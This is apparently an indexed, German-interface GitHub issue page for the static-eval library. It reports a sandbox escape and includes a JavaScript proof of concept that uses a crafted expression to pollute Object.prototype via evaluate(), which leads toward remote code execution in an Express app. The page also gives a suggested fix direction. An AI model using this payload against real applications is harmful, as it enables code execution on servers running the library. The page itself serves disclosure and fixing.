browserify / browserify/static-eval

Sandbox Escape

Offen
#32 1 Kommentar 3 Reaktionen 0 zugewiesene Personen Auf GitHub ansehen
Vorherrschende Sprache
JavaScript
Sterne
177
Forks
27
PR-Merge-Kennzahlen
Keine gemergten PRs in 30 T.

Beschreibung

## poc
```js
// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.end('working!');
});

app.listen(8080);
```

details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution

Beitragsleitfaden

Für dieses Repository ist kein Beitragsleitfaden indexiert

Rechercherichtung

Der Bericht stellt einen JavaScript-PoC bereit, der static-eval und esprima.parse verwendet; der Exploit wird bei evaluate(ast) ausgelöst. Beginne damit, diesen Ausdruck zu reproduzieren und die verlinkten Details zum Sandbox-Escape zu prüfen. Als abgeschlossen gilt die Arbeit, wenn der gemeldete Prototype-Pollution-Pfad nicht mehr aus der Auswertung ausbricht und keinen unbeabsichtigten Code mehr ausführt und eine Regressionstestabdeckung in der Testsuite des Projekts hinzugefügt wurde.

Vom Indexierungsmodell aus dem Issue-Text verfasst.

Bewertung

Tech-Stack
javascript
Bereich
security
Issue-Typ
Bug
Schwierigkeit
5/5
Geschätzter Aufwand
Über eine Woche
Aktivitätsstatus
Veraltet
Klarheit
Muss geklärt werden
Anfängerfreundlichkeit
20/100

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.